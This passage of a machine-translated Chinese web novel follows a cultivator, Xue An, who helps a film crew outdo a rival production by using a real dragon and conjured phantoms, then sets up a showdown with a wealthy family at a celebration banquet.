    In their opinion, no matter how many miracles appeared on Xue An''s body, it was normal, even if the next second Xue An took out the golden hoop and said that he was Monkey King.


    Both people will believe it.


    "How about? Is the bit effect easy to use?" Xue An asked with a faint smile.


    Cao Zheng nodded repeatedly, and exclaimed: "No matter how good the special effects are, it can''t match the real thing! I believe that when this dragon appears in the movie, it will definitely arouse amazement."


    "But... there are a lot of requirements for making a movie. It... can it understand humans?" Cao Zheng was a little worried about the IQ of this giant dragon Before Xue An could speak, the dragon was dissatisfied. Leaning down, he stared at Cao Zheng with a pair of huge dragon eyes, his eyes full of anger and disdain.


    actually said that the noble dragon can''t understand people?


    What a stupid bug!


    Cao Zheng felt cold all over, and laughed again and again: "Long Master, please calm down, I just made a joke, if there is no problem, we will start shooting now!"


    "Wait!" Xue An said.


    "What''s wrong?" Cao Zhengdao.


    Xue An smiled, "Didn''t you say that there are still a lot of special effects that need to be produced? Just use real objects to perform!"


    "How is that possible? Many of those special effects are ghosts and gods of various ways..."


    I didn''t finish the following words.


    Because in the eyes of everyone, Xue An squeezed out a weird seal with both hands, and yelled: "Vientiane...you heart!"


    Numerous spots of light scattered from Xue An''s hands, and then turned into a ghost and spirit beast.


    These ghosts, gods, spirits and beasts are all lifelike, and their actions are very natural.


    Cao Zheng is completely crazy.


    Is it still possible to make movies like this these years?


    To shoot the dragon, there is a real dragon coming to the world.


    If you want to shoot a fairy, you can choose the fairy in this house.


    Are you making a movie or cultivating immortals?


    In fact, only Xue An knows that these ghosts and gods are just phantoms condensed by magic power.


    Xue An''s current strength is not enough to summon these ghosts and gods.


    If it can be restored to one percent of its previous strength, then any decree will be able to detain all these ghosts and gods.


    But these phantoms making a movie or something are still very bluff.


    at least 100,000 streets with special effects.

 Chapter 93： Going against the sky... is it sin?

    Hua Ruyue sat on the chair proudly, and the assistant shook the fan behind her.


    Stephen''s face was green and his heart was full of irritation.


    just filmed the last scene of the battle of the gods, the plot is very simple, the heroine played by Hua Ruyue swims out of the water.


    But it was such a simple scene, but it was delayed for a long time.


    Because Hua Ruyue said nothing, she refused to go into the water. In desperation, Stephen reluctantly agreed to use a substitute to finish the scene.


    And this kind of concession is not the first time.


    After Hua Ruyue entered the crew, Stephen found that he could only lower the standard, otherwise he would not be able to make the film.


    Fortunately, everything is over.


    After today��s filming is finished, this battle of the gods is over.


    Steven was even embarrassed to put his name on the front of the show.


    Because he knows that even the heroine is not willing to make a good movie, it is doomed to have no future.


    But that has nothing to do with me.


    Stephen has already bought the ticket and will fly back to Europe tonight.


    "Mr. Stephen, Shao Xie has prepared a dinner tonight to celebrate your work. Look..." Hua Ruyue smirked all over her face.


    Stephen looked cold, "Sorry, I have something else, I will be back to Europe tonight!"


    turned around and left.


    Hua Ruyue stood on the spot, her face was blue and white, and she gritted her teeth for the last time, and said bitterly, "Now that the filming is over, what kind of director is it?"


    In the evening, Hua Ruyue, dressed up in a splendid manner, came to see Xie Tianci, and then told Xie Tianci that Stephen had left without saying goodbye.


    Thanks to Tianci and sneered after listening.


    "Let''s go when you leave, what do you think I really value his directorial skills? What I value is his reputation. As long as he is famous, it doesn''t matter if a dog squatted there to shoot."


    Hua Ruyue hurriedly said with a smile: "Xie Shao is right, but I heard that the director Fan Mengxue hired has some skills, you see..."


    Xie Tianci smiled, drank all the wine in the glass, and then said indifferently, "What can I do if I have the ability? The reason why I acquiesced that they were making movies is because I wanted to play with them. Now their movies are half shot , But no company dared to accept post-production, isn''t the previous money even a waste of money?"


    Hua Ruyue''s eyes lit up, "Xie Shao is really amazing!"


    "Since the Qin family wants to take this muddy water, then I will fulfill them, but want to fight with me? Humph!" Xie Tianci sneered, eyes flashing with cold light.


    Wang Wenjian went to Fan Mengxue''s Weibo every day to check it out.


    The news about the movie God Killer disappeared after that press conference.


    More than a month has passed, and even many people have forgotten that there is such a movie.


    Only loyal fans still remember.


    In contrast to this, is the powerful propaganda offensive of War of the Gods.


    Almost every day, there will be all kinds of gossip and lace news, and the promotional videos are one after another.


    This kind of contrast between ice and fire makes many people no longer optimistic about the future prospects of the godslayer.


    Especially after the news that the Battle of the Gods was over, almost all the stars in the entertainment circle were moved by the wind, and Hua Ruyue''s Weibo messages and blessings formed a long line.


    Fan Mengxue''s side is deserted.


    Wang Wenjian sighed. It is estimated that today is nothing.


    can wait to open Weibo, it is a new message.


    Wang Jianjian was taken aback, it was a video.


    Could it be.......


    Wang Wenjian''s heartbeat speeds up, and quickly clicks on the video.


    The beginning of the video is dark.


    And a female voice is singing something in a low voice.


    A little light gradually lit up, and then I could see clearly that there was a high mountain in the middle of the picture.


    On the top of the mountain, stood a woman with worn clothes but firm eyes.


    is Fan Mengxue!


    Wang Wenjian suddenly felt his nose sore, and had an urge to cry.


    During this period, many people said that Fan Mengxue lost, and some even maliciously speculated that Fan Mengxue was deceived.


    But Wang Wenjian and others chose to believe.


    Finally, they waited for this video.


    is also the first promo of the godslayer.


    The video continues, and the woman on the top of the mountain slowly raises her head, and above the nine heavens, there are countless heavenly soldiers.


    They stand on the clouds, high above them.


    A majestic voice sounded.


    "A mortal, can you convict you?"


    The woman said lightly: "What is my sin?"


    "If you go against the sky, it is sin!" The voice was a little angry.


    The woman laughed, the smile blooming like a thousand flowers, beautiful.


    "It turns out... in the eyes of you high spirits, it is sin for mortals to live freely!"


    There was a sneer in the majestic voice, "Mortals are mortals after all, so you should work on the ground, but you... but you want to go to the sky, isn''t this a sin?"


    The woman lowered her head.


    seems to have succumbed.


    The majestic voice was a little proud, "If you confess your sins now, you may be spared not to die!"


    suddenly.


    The woman raised her head, there seemed to be flames in her eyes.


    "you are wrong!"


    "Huh?" The voice was questionable.


    "Gods are not born noble, nor are people born low. You stand on high ground and wantonly condemn other people''s merits and sins, but... are you worthy?"


    ''S voice finally got angry, "If she doesn''t realize it, she will be destroyed!"


    With a roar, countless arrows burst through the air, seeming to tear the sky apart.


    The woman laughed, and slowly pulled out the sword in her hand So this is the god! "


    She faced the countless arrows without flinching.


    After a dragon chant, a giant dragon broke through the air and picked up the woman, rushing toward the arrows and the high gods.


    The video ends.


    Wang Jianjian sat on the chair, and did not recover for five minutes.


    Although the promo is short, the magnificence contained in it shocked him.


    A woman walking against the sky, a magnificent picture, and the last lifelike dragon.


    All this made Wang Wenjian fascinated.


    Suddenly, he remembered something, immediately opened the fan group, and reposted the video with great excitement.


    After a while, the group swept the screen.


    My god, I thought it was real at first! The special effects are awesome!


    Sister Mengxue is so handsome!


    I am looking forward to the release of this godslayer more and more!


    At this moment, the comments on Weibo have also started to increase exponentially.


    Chen Xiaoyi did not go to work today, but she still browsed Weibo habitually.


    Except for the news of the battle of the gods, there is no news about the godslayer.


    Chen Xiaoyi couldn''t help being disappointed.


    Could it be that that man is really a liar?


    suddenly.


    She saw a Weibo that rose to popularity at a speed visible to the naked eye.


    She moved in her heart and clicked on the video.


    After she finished reading it, she froze for a long time.


    I was used to watching the battles between gods and ghosts. For the first time I saw mortals walking against the sky, Chen Xiaoyi felt that a soft place in his heart seemed to be touched.


    Why is that woman who is proud and independent to the gods and Buddhas in reality is not the same?

 Chapter 94： Do you dare to mess with me?

    The entire network was detonated by this promo.


    I am used to those fairy fights, and it was the first time I saw such a protagonist who walked against the sky, and she was still a heroine.


    Many people were shaken.


    Especially in the end, Fan Mengxue''s back figure alone facing the Mantian Divine Buddha made many people''s eyes wet.


    I have to say that Cao Zheng''s directing skills are indeed deep enough, even such a short promotional film, can let people see his intentions.


    Of course, the most important thing is the special effects in this promo.


    Many people were shocked by the special effects inside.


    It is no exaggeration to say that the top Hollywood special effects are just a scum in front of this promotional film.


    The appearance of that giant dragon is unforgettable at first sight.


    So there is no need to promote it deliberately. Many people start to promote this video spontaneously.


    So within a day of effort, this propaganda film spread all over the Internet, and the Godslayer also made it into the hot search list of course, and even overwhelmed the Battle of the Gods and became the number one.


    This caused Hua Ruyue to fall into extreme panic and jealousy. After she found Xie Tianci, she just wanted to say something.


    Then she found Xie Tianci''s face was gloomy and terrible.


    Of course, Xie Tianci also saw this promo.


    When he saw those life-like "special effects", he was angrily smashed the phone directly.


    Why!


    Why clearly he has blocked the road of post-production for them.


    But they can still make such exquisite special effects?


    Xie Tianci suddenly felt a trace of fear.


    It seems that everything I do has a pair of high eyes staring at it.


    Even closing his eyes, Xie Tianci could feel the mockery in these eyes.


    This makes him terrified.


    "Xie Shao...what should I do now?" Hua Ruyue asked in a panic.


    Xie Tianci gave her a cold look, then took out her cell phone and made a call.


    "I have notified the major theaters to block this movie collectively! Even if they can make it, I can prevent them from showing it!"


    Xie Tianci finally used the last killer.


    Hua Ruyue breathed a sigh of relief.


    Anyway, even if her film was made in a rush, wouldn��t it be the same if she couldn��t be screened?


    Hua Ruyue''s heart is full of pride and gloat.


    Then I will see how you cry!


    Wang Wenjian and others are looking forward to it, waiting for the official release of God Killer.


    Because the battle of the gods has been set, it will be released on June 18.


    So the godslayer is probably coming soon!


    The public opinion on the Internet is now evenly matched. The fans of the gods and the fans of the godslayer scold each other, all waiting for a showdown when it is released.


    In the hotel, Cao Zheng is working overtime to do the final finishing.


    He has high expectations for this movie, so no flaws are allowed.


    But other things are better. Fan Mengxue understands that Cao is doing it for her own good, so no matter how harsh the requirements are, she will be happy.


    Bi Yuntao is a good baby now, so he dare not go west if he goes east.


    When only shooting special effects scenes, Cao Zheng is always dissatisfied with Jin Long''s performance, often one shot has to be shot many times.


    Sometimes the angry golden dragon can''t wait to slap this pesky bug to death with a paw.


    But it dare not.


    Because Xue An said, let it cooperate.


    Then it can only obey honestly.


    Otherwise, if it makes an adult angry....


    Jinlong dare not think about the consequences.


    As for the others, they are busy with the show.


    Today, Qin Yu and Han Yao are going to meet the boss of the largest cinema chain company in the provincial capital.


    As long as the talk with him is completed, then the show will be easy to say.


    But after this, he was rejected without seeing him.


    Han Yao''s face turned pale.


    She doesn''t understand, why is it so difficult to do what she does?


    But no matter how she made trouble, the lady at the front desk would only smile gently and said: "I''m sorry, our chairman is not here, and I said, we will talk about the show later!"


    In the end, Han Yao was going to run away, but Qin Yu was calm and dragged her away.


    Wait back to the hotel.


    Han Yao fluttered on the bed and didn''t want to get up.


    She even wanted to cry.


    Everything is done, what should I do if I can��t make it to the movie?


    Xue An also rushed up after learning the news. When Qin Yu said, he frowned slightly and then smiled.


    "Where is that company?"


    "It''s in town!"


    "Okay! Let me go!"


    Xue An turned around and left the hotel.


    The owner of the chain theater company is called Li Xiaokang.


    He has been there all the time, he just doesn''t want to see Han Yao.


    After all, Xie Tianci personally called him and promised him a lot of benefits.


    He can''t commit to offending Xie''s family for a movie.


    At this moment, he is vomiting in the office.


    suddenly.


    Someone was knocking on the glass outside the window.


    He frowned, who is so rude?


    Suddenly, he was stunned.


    This office of my own is on the 28th floor!


    His whole body was trembling with fat, and he looked at the man with a smile on his face outside the window with fear.


    Xue An pointed a finger, and the toughened bulletproof glass shattered.


    Then Xue An stepped in, strolling in the courtyard as if walking in the garden, and smiled at Li Xiaokang.


    "Are you Li Xiaokang?"


    Li Xiaokang is stiff That''s bulletproof glass!


    can be under the man''s finger, like a layer of paper.


    He was pale, and said in a trembled voice: "Daxian spare my life, what is Daxian''s order?"


    Xue An sat on the chair and looked at Li Xiaokang.


    The atmosphere became strangely silent.


    Li Xiaokang felt that the man in front of him looked like a sharp knife, cutting himself bit by bit.


    "I heard...you don''t plan to release a movie?"


    Li Xiaokang trembled all over, and then as if he understood something, he quickly said: "Are you talking about the godslayer? It''s not that I don''t want to be released, but someone has said hello, and I dare not provoke others..."


    "Then you dare to mess with me?" Xue An said lightly, sliding his fingers slowly on the table.


    As it slides, the solid wood table is like butter, being cut silently.


    Li Xiaokang''s face was pale, "You...you..."


    "Don''t worry, I won''t kill you. You will show it honestly. As for the rest... I will settle the account with them." Xue An showed her white teeth.


    "Understand?"


    Li Xiaokang nodded hurriedly.


    Xue An patted his fat face with satisfaction, "If you are not obedient, I think I can help you lose weight!"


    After that, Xue An walked to the broken window, raised his foot, and walked away.


    Li Xiaokang stood where he was, and it took a long time before he was relieved.


    If it wasn''t for the broken glass on the ground, he would have thought it was just a dream.


    Suddenly, he had a cold war and quickly picked up the phone.


    "Hey, get ready, get ready to show the Godslayer!"


    Sometimes violence is not the best way, but it is always the fastest.

 Chapter 95： Officially released, sling everyone!

    God Killer is finally officially released.


    And the battle of the gods was released on the same day as it.


    These two movies are like foes in fate, and even the release dates are chosen together.


    The debate on the two films on the Internet has become heated.


    Many cows, ghosts and snakes came out, without exception, standing on the side of the war of the gods.


    Especially most of the stars in the entertainment industry have also chosen to stand up for the battle of the gods.


    This made the reputation of War of the Gods skyrocket.


    In contrast, the godslayer is much worse.


    Except for the promotional film, there is not even a promotion.


    depends entirely on fans'' spontaneous propaganda.


    This naturally made it a disadvantage in public opinion.


    But it''s not that there are no stars on Fan Mengxue''s side.


    such as Bi Yuntao.


    He tried his best to promote the godslayer on Weibo, and he repeatedly promised that he also contributed good acting skills in this movie.


    But his words only attracted a lot of cynicism.


    Many people commented below.


    "Do you still have acting skills?"


    "Hehe, if you can have acting skills, I will eat the keyboard!"


    "Yes, if he can have acting skills at all, I will eat the computer."


    "I eat a computer desk."


    "I eat����."


    These cheating Weibo made Bi Yuntao dumbfounded.


    In desperation, he had to send another message.


    "See you in the theater then!"


    These are just a small episode in the tide of public opinion.


    As the focus of the news, Fan Mengxue has remained silent.


    No matter how people commented, they never came out to explain it.


    Because Fan Mengxue believed Xue An��s words.


    Everything speaks by strength.


    The more hoarse, the more it proves its guilty conscience.


    In this highly anticipated situation, the day of the screening has finally arrived.


    Wang Wenjian went to see it with friends.


    But his friend likes Hua Ruyue, so I went to see Battle of the Gods.


    When Wang Wenjian came out of the cinema with his head full of exclamation points, his friend also came out.


    But his friend had a fly-like expression all over his face.


    "What''s wrong?" Wang Wenjian asked.


    "It''s so ugly, I''m so sorry for the money! What **** Stephen, what **** Hua Ruyue, playing a ball!" Wang Wenjian''s friend yelled.


    Like him, there are many viewers who have watched the battle of the gods.


    In fact, even if Stephen is perfunctory, it will not be so ugly.


    But because in post-production, Stephen had already returned to Europe.


    So the editing power was given to Hua Ruyue.


    Hua Ruyue, in order to highlight her role in the movie, abruptly cut her 30-minute scene into 50 minutes.


    What should I do if there is not enough film?


    Then in slow motion.


    So many people have seen such a scene.


    Hua Ruyue always takes a slow motion to drink water in the movie.


    This is nothing.


    The key is that Hua Ruyue''s acting skills are really not very good, always staring at a pair of innocent eyes, acting like a fool.


    How can people not complain?


    After scolding for a long time, Wang Wenjian��s friend asked, "How are the movies you watched?"


    Wang Wenjian sighed slightly, "I can only say...a stunning work!"


    "Is it so exaggerated?"


    "If you don''t believe me, go and watch it again!"


    Wang Wenjian accompanied his friends into the theater again.


    After watching this time, Wang Wenjian��s friend stopped talking.


    "How is it?" Wang Wenjian asked.


    "Awesome!"


    At the same time, public opinion on the Internet has gradually begun to reverse.


    Because the battle of the gods is really ugly.


    So in one night, the score dropped to three points, and it became a bad movie.


    And in stark contrast to it is the Godkiller.


    This movie was a blockbuster when it was not favored by everyone at the beginning.


    When the score came out, it shocked many people.


    Eight eight!


    This rating is enough to beat most domestic movies.


    and the comments below are all-in-one!


    With the reversal of word-of-mouth, the number of moviegoers of Godkillers rose rapidly.


    Of course, ���� theaters will not make money without making money, so the film schedule of Godkillers is also increasing rapidly.


    first day.


    God Killer has a box office of 130 million.


    And the battle of the gods is 140 million.


    The Battle of the Gods is barely leading by a small advantage.


    But the next day, the box office of God Killer climbed to 210 million.


    The Battle of the Gods quickly dropped to 80 million.


    This iron fact is like a loud slap in the face, and it slapped the faces of all those who were not optimistic about Godkillers before.


    Especially those celebrities who tend to be inflamed, their faces are almost swollen.


    And this is just the beginning.


    The box office of ���� God Killer has soared since this day.


    In just five days, it exceeded two billion.


    As for the battle of the gods...


    Now it hasn''t even broken through 800 million, and it is estimated that it will never break through.


    This fact came out.


    The sunspots on the Internet collectively lost their voices.


    On Fan Mengxue��s Weibo, there were many apologetic comments.


    But the most lively thing is Bi Yuntao''s Weibo.


    Those who once said they would eat the keyboard and the computer are back.


    But this time they sincerely apologized to Bi Yuntao.


    Because as Bi Yuntao said, his performance in the movie this time is not amazing, but it is also remarkable.


    This also greatly changes his image in public.


    Bi Yuntao looked at the heart-warming words in the comments, and UU couldn''t help but tears in his eyes.


    It seems that actors still have to act well.


    Now Bi Yuntao is even a little grateful for Xue An''s brutal beating.


    How can I wake up without it?


    And the shocking reversal of public opinion has also made many netizens talk about it. This is simply the plot of a living novel.


    But Hua Ruyue��s Weibo has been smashed.


    Countless people started to complain below.


    "It turns out that the so-called traffic floret has his eyes rounded, so will I!"


    "You have to slow down when you drink water, why the **** don''t you die?"


    "I will never love again! Bye!"


    "I just learned about your debut. Ms. Fan really helped you a lot at the beginning, but you ended up falling into trouble, rubbish!"


    At this time, the celebrities who used to be affectionate and intimate are all silent.


    Everyone can see that Hua Ruyue is over.


    Once the fame thing stinks, it will be completely finished in the future.


    At this time, who doesn''t cut it as soon as possible, and burns the body, how can anyone be willing to come out to speak for Hua Ruyue?


    Many people even started to delete Weibo secretly.


    even more shamelessly ran to Fan Mengxue''s Weibo and began to show his hospitality.


    Because everyone can see it.


    Fan Mengxue will soar into the sky with this movie.


    No one can even imagine how far he will go.


    But it is a film review by Chen Xiaoyi that really completely buried the battle of the gods and Hua Ruyue and others.


    "Why is each of us not a godslayer? It''s just life that knocks us back to mortals! ��


    This film review completely detonated the Internet.

 Chapter 96： All you need is to slap you in the face on your site

    Chen Xiaoyi wrote in the article: Every one of us once had ambitious ambitions, but under the temper of life, we eventually became mediocre.


    Some people died at the age of 20, but they were buried at the age of 80.


    You and I are all mortals, this is correct.


    It can be wrong to regard mediocrity as capital and to hate those who are unwilling to be ordinary.


    The movie God Killer, at first glance, seems to be an excellent movie of Gods and Demons.


    The special effects and details in ���� are impeccable.


    Director Cao Zheng once again shocked everyone with his almost ghostly talent.


    But what I see is more than just these.


    When Ms. Fan stood on the mountain, she slowly said the line to the gods and Buddhas in the sky.


    I have tears in my eyes for the first time.


    Yes!


    Why are you so high that you can arbitrarily condemn others?


    When the dragon ascended to heaven, the whole movie theater exclaimed.


    is not only because of special effects, but also because of its romance.


    Yes!


    The dragon lifts up the heroes to fight against the high gods.


    Isn��t this romantic?


    Based on this idea alone, I am not talking about anything else, but the domestically produced movies here are all rubbish.


    As for the battle of the gods, I also watched it. Ms. Hua contributed superb stare-eyed acting in it.


    As for the others, I have nothing to say.


    Because this is just another movie passed down to the emperor.


    I like godslayers.


    Because it reminds me of my boyhood.


    At that time, we were fluttering in white clothes and rode our bicycles through the bustling city. We were unruly and rebellious. They were problematic children in the eyes of adults.


    But we have a pure heart.


    Finally, I paid special attention to the screenwriter. The column for the screenwriter is Mr. Xue.


    very funny.


    You did not disappoint me.


    Chen Xiaoyi��s article expresses the aspirations of most people with vivid brushstrokes.


    Therefore, one week after the release, the box office of God Killer increased instead of falling.


    And most of the people watching this movie are middle-aged people with big bellies.


    They may be trapped by life, mediocre.


    But after they finished watching, there were tears in their eyes.


    Yes!


    Who was never a boy?


    And the hotness of this movie has also become a phenomenal spectacular sight.


    Countless people were impressed by Fan Mengxue''s superb acting in the film.


    Especially the picture of her alone facing the gods on a high mountain has become a memory that many people can''t erase.


    Fan Mengxue is also affectionately called Miss God Sister!


    So far.


    The god-killer stomped the battle of the gods on the soles of his feet with a return of the king.


    At the same time, all the so-called celebrities who used to slander and disdain were swollen.


    Thanks to Tianci, looking at the online comments with a pale expression.


    Suddenly, he smashed the screen with a punch.


    then began to pace back and forth in the house.


    Hua Ruyue sat on the sofa crying.


    Her heart is full of resentment at the moment.


    resented Fan Mengxue, resented Stephen, but did not think that he was at fault.


    "The Qin family...hehe, a good move!" Xie Tianci suddenly sneered.


    "Besides, An Qing, who settled in the house, actually got involved, why? How do you think you can thank me with a movie?"


    Xie Tianci''s face gradually returned to a proud look.


    is just a movie.


    He didn''t care too much.


    There are the shadows of the Qin family and An Jia behind this movie.


    Then he must be ready.


    But Xie Tianci is not worried, because this is a provincial capital.


    On his own territory, who dares to make a mistake?


    Thinking of this, Xie Tianci couldn''t help but feel relieved.


    But at this moment, in the hotel where Fan Mengxue was staying, someone was also surprised to ask Xue An.


    "Mr. Xue, are you serious about doing this? That''s the site of the Xie family!"


    The person who asked the question was Cao Zheng.


    The cause was that Xue An was preparing to hold a celebration banquet.


    This is a matter of course.


    After all, the godslayer has achieved such a brilliant success, it is natural to hold a celebration banquet.


    The place Xue An chose was actually the Livzon Hotel in the provincial capital.


    People in the provincial capital don��t know that the Livzon Hotel is the property of the Xie��s second master.


    Xue An is going there to hold a celebration banquet, which is really incredible.


    That''s why Cao Zheng asked.


    Xue An smiled when he heard the words, "Xie��s site? No, you are wrong, it will be gone soon!"


    Cao Zheng still wanted to say something, but Han Yao pulled him aside.


    Qin Yu''s eyes lit up when he heard the words.


    Mr. Xue... Is this going to be done?


    Xue An certainly wouldn''t let Xie''s go because he hit the other party because of the movie.


    Killing is easy.


    If Xue An wanted to, then Xie Tianci and Hua Ruyue would have died many times.


    can kill people easily.


    What Xue An wants is to hang the opponent without dead ends.


    Aren��t you replacing the heroine?


    Well, I will make a movie by myself and swell your face severely with iron facts.


    This is the right way to get revenge.


    But now the goal has been achieved.


    Then Xie Tianci and others have no value in existence.


    Xiuxianxiu to the end is actually just one sentence.


    Protect the loved one and let the opponent go to hell.


    Therefore, Xue An will not have any kindness, for him, it is just a Xie family.


    Kill if you kill.


    And he chose to hold a celebration banquet at the Livzon Hotel because Xue An felt that if he wanted to slap his face, would it be better to slap his face in the other''s place?


    Xue An thought of this, and a faint smile appeared at the corner of his mouth.


    And Xiaosha, who was playing with Xue Xiang and Xue Nian, suddenly trembled all over after seeing Xue An''s expression, and then fell down in horror.


    Only it was present who could feel the horror in Xue An''s smile.


    As long as an adult smiles like this, someone will be unlucky. Xiao Sha thought to himself.


    This celebration banquet, Xue An hosted a very grand Not only the crew will come, but also many people will be invited.


    But in addition to the celebrities who tended to become popular and came by themselves when they heard a celebration banquet, Fan Mengxue also sent out a few invitations.


    Wang Wenjian has been on the Internet almost every day during this period. He is exchanging his experience of watching movies with other fans.


    Nowadays, the **** killer has become a **** work in the minds of many people.


    Today is no exception, but while discussing, the doorbell rang, and when he opened the door, he found that it was a postman.


    Strange, will anyone write letters now?


    Wang steadily opened the envelope suspiciously, and inside it was a gilded invitation.


    He opened it, and then it was petrified.


    That is the invitation written by Fan Mengxue himself.


    invited him to participate in a celebration party tomorrow as a fan representative.


    Wang Wenjian was shaking all over.


    In fact, he has long passed the age of chasing stars, and he likes Fan Mengxue only because of her elegant temperament.


    But at this moment, Wang Wenjian suddenly collapsed.


    How many celebrities can still remember their original fans after achieving such impressive results?


    Chen Xiaoyi is the same.


    Because of the popularity of her article, she was successfully fired by...Entertainment Weekly.


    Because it is plain, these bosses still dare not offend the Xie family.


    And Chen Xiaoyi didn''t matter. After she watched the movie that day, she returned home and felt bored. After turning on the computer, she finished this article with almost no pause.


    After Chen Xiaoyi received the invitation, he was taken aback, and then gradually laughed.


    The man with the indifferent expression and deep eyes at the press conference that day appeared before her eyes.


    As expected... you are not lying!

 Chapter 97： 1 Subject to Mr. Xue

    When Xie Tianci heard the news from the hotel manager, he couldn''t help being stunned.


    Is this **** kidding me?


    Or... Are you taunting me on purpose?


    The manager watched Xie Shao''s face tremblingly from white to black, and from black to white.


    Finally, Xie Tianci pressed down the anger in his heart and sneered.


    "Okay, I see, you can arrange it!"


    "It''s Shao Xie!" The manager quickly stepped back.


    Hua Ruyue leaned over at this time, and said with a bitter expression: "Xie Shao, this must be the **** of Fan Mengxue, she wants to laugh at you..."


    Snapped.


    Xie Tianci slapped her hard.


    Hua Ruyue was taken aback.


    Thank Tianci coldly: "I don''t need you to remind me!"


    "Yes... Xie Shao!" Hua Ruyue shivered, covering her face.


    Xie Tianci pondered for a while, and then dialed a call.


    "Thank you, Master, what''s your order?" A lazy voice came from the other end of the phone.


    "Tomorrow, you come to the hotel!"


    "what happened?"


    "Kill!" Xie Tianci said murderously.


    The phone stopped, and then said, "Okay! I''ll be over tomorrow!"


    After ���� hung up, Xie Tianci''s face was murderous.


    From childhood to childhood, he has never felt this anger.


    Some people dare to insult themselves so much.


    Well!


    Tomorrow, I will give you an unforgettable lesson.


    There is also Fan Mengxue. Don��t think it��s great to make a blockbuster movie. An actor is an actor. No matter how powerful he is, he has to kneel down in front of the rich.


    A sneer appeared at the corner of Xie Tianci''s mouth, as if he saw Fan Mengxue kneeling in front of him.


    At this moment, in a luxurious villa in the provincial capital, a woman asked: "Brother, who is it?"


    The man smiled faintly, "Xie Dashao is angry, let me help him kill!"


    The woman smiled disdainfully, "Why, do you treat Shijia as his thugs?"


    Following the voice, the woman walked over. It was the dianthus who was in the martial arts conference.


    And the man Xie Tianci called was Shi Hao.


    Both of these brothers and sisters are direct children of the Shijia family in the provincial capital, and they are very familiar with Xie Tianci.


    Shi Hao smiled when he heard his sister say this, "The Xie family is still the leader of the game after all, so what''s the harm in selling his face? And since the martial arts conference, I have consciously made breakthroughs in my skills! I want to kill someone to try my power! "


    Dianthus has no expression on her face. For a wealthy man like them, killing someone is not a big deal.


    "Then I will go to see the excitement tomorrow, to see who can have such courage, actually angered Shao Xie!


    Of course, Cao Zheng no longer lives in the old place. He spent money to buy a suite in the best community in the provincial capital, and then took his wife over.


    was just making a movie, he was so busy all day, there was no time to come back to live.


    Today, he finally returned home. The woman was squatting on the ground and mopping the floor. When she saw him back, she stood up and smiled.


    "I''m back, have you eaten?"


    Cao was looking at his beloved woman, a happy smile appeared on his face.


    "Didn''t you ask you to find cleaning? Don''t do these tasks. What if you are tired?"


    "Not tired, this is our new home, so I don''t want others to touch it." The woman smiled proudly.


    The woman cooks a few dishes for Cao Zheng, and then opens a bottle of wine.


    Cao Zheng drank wine and looked at the busy woman, feeling satisfied.


    All this is what the previous Cao Zheng could not even think of.


    He knew it was all because of Mr. Xue.


    Without Mr. Xue''s help, my own woman is probably dead early, and I''m probably finished too.


    "Tomorrow, our crew will have a celebration party!"


    "Okay! This is a great thing!" The woman was taken aback, and then said in surprise.


    "It''s at Livzon Hotel."


    The name ���� seemed to have a kind of magic, which made the woman stunned in an instant.


    Cao Zheng looked at the woman and said seriously: "Axiu, tomorrow, you also accompany me! I want them to know that you are my Cao Zheng''s woman!"


    Axiu lowered her head, and after a long time she trembled, "Is that what Mr. Xue meant?"


    Cao Zheng nodded.


    Axiu sighed, "Mr. Xue gave all our lives. Since he is going there, we will naturally follow! Don''t worry about me, I''ll be fine!"


    Cao Zheng nodded, "Hmm!"


    Axiu turned around and went into the kitchen, suddenly burst into tears.


    She used to be a manager of Livzon Hotel.


    But because of her beauty, Xie Tianci was attracted to him. After getting drunk once, Xie Tianci tried to be rude.


    She struggled, and finally Xie Tianci became angry and threw her directly from the fourth floor.


    Axiu almost died on the spot, but was later sent to the hospital by Cao Zheng who rushed over.


    This is also the reason why Cao Zheng was later blocked.


    These dusty scars were once again untied, and Axiu couldn''t help trembling all over.


    She will never forget that when she was lying downstairs covered in blood, the so-called colleagues looked at her with cold eyes.


    Suddenly, Cao Zheng hugged A Xiu from behind, and then whispered in her ear: "Don''t cry, Mr. Xue is a person with great abilities, he must be there for his reason!"


    "Ok!"


    In the hotel, Qin Yu hung up the phone, his face was a bit solemn.


    Tomorrow��s celebration banquet will certainly not be that simple.


    So she called her grandpa and said everything.


    Qin Yuan was silent for a while after listening, and then said in a deep voice: "Everything is subject to Mr. Xue!"


    "Black King!"


    "Miss!"


    "What do you think of tomorrow?" Qin Yu stood in front of the window, looking at this strange city.


    The Black King was silent for a moment, and then said: "I believe Mr. Xue will take care of everything!"


    "I believe it too, but the other party is... Xie''s!" Qin Yu muttered.


    The Lizhu Hotel was booked by Qin Yu today.


    In front of the door there is a sign full of passengers, and the parking lot is full of luxury cars.


    Good-looking men and women are coming in and going in and out, all with a reserved smile on their faces.


    These are basically celebrities in the provincial capital.


    They are all here.


    It''s not because of Fan Mengxue''s face, but because they all want to come and see the excitement.


    Who doesn��t know Fan Mengxue and Xie��s holiday.


    And this time the movie is selling, it has already embarrassed the Xie family.


    actually put the celebration banquet under the eyes of the Xie family.


    This is the first time in these years.


    So many people come uninvited just to watch the excitement.


    And basically everyone has no hope for Fan Mengxue.


    After all, no matter how good her movie is, she is only a star.


    The Xie family is a wealthy family who has been in the provincial capital for many years.


    The gap is obvious.


    In addition to this, there are many celebrities who have also come to the scene. These people are watching the Godslayer movie so hot, thinking about whether they can come to the scene.

 Chapter 98： Celebration

    When Chen Xiaoyi and Wang Wenjian arrived, the hall was already full of stars.


    These celebrities and celebrities are all gathered in groups, with self-confident smiles on their faces.


    No one paid attention to Chen Xiaoyi and Wang Wenjian.


    The two also felt a little embarrassed.


    But at this moment, Fan Mengxue greeted him with a gentle smile on his face.


    "Welcome two of you to the banquet tonight!"


    Wang Jianjian was shaking all over with excitement.


    This is Fan Mengxue!


    The goddess in my own mind!


    And this scene also surprised many onlookers slightly. What are these two people?


    Can Fan Mengxue take the initiative to welcome?


    "Isn''t Mr. Xue here?" Chen Xiaoyi looked around the field of vision, looking for Xue An''s shadow.


    Fan Mengxue smiled, "He is leading the children and must come later!"


    was talking, Cao Zheng and his wife came.


    After seeing Cao Zheng, many celebrities immediately lit up.


    After passing through this godslayer, the fame of director Cao Zhenggui has regained its peak.


    So many celebrities are thinking about condoms.


    For example, many female stars walked forward swayingly at this moment, trying to start a conversation.


    But Cao Zheng didn''t squint, he didn''t have any expression, there was only Axiu in his heart.


    At this moment, Axiu is a little shy, because she can''t help but think of those things before looking at the strange and familiar scene around her.


    And at this moment, a female manager of the lobby stepped forward with a smile on her face.


    "Director Cao, you are here, please come here."


    Cao Zheng nodded.


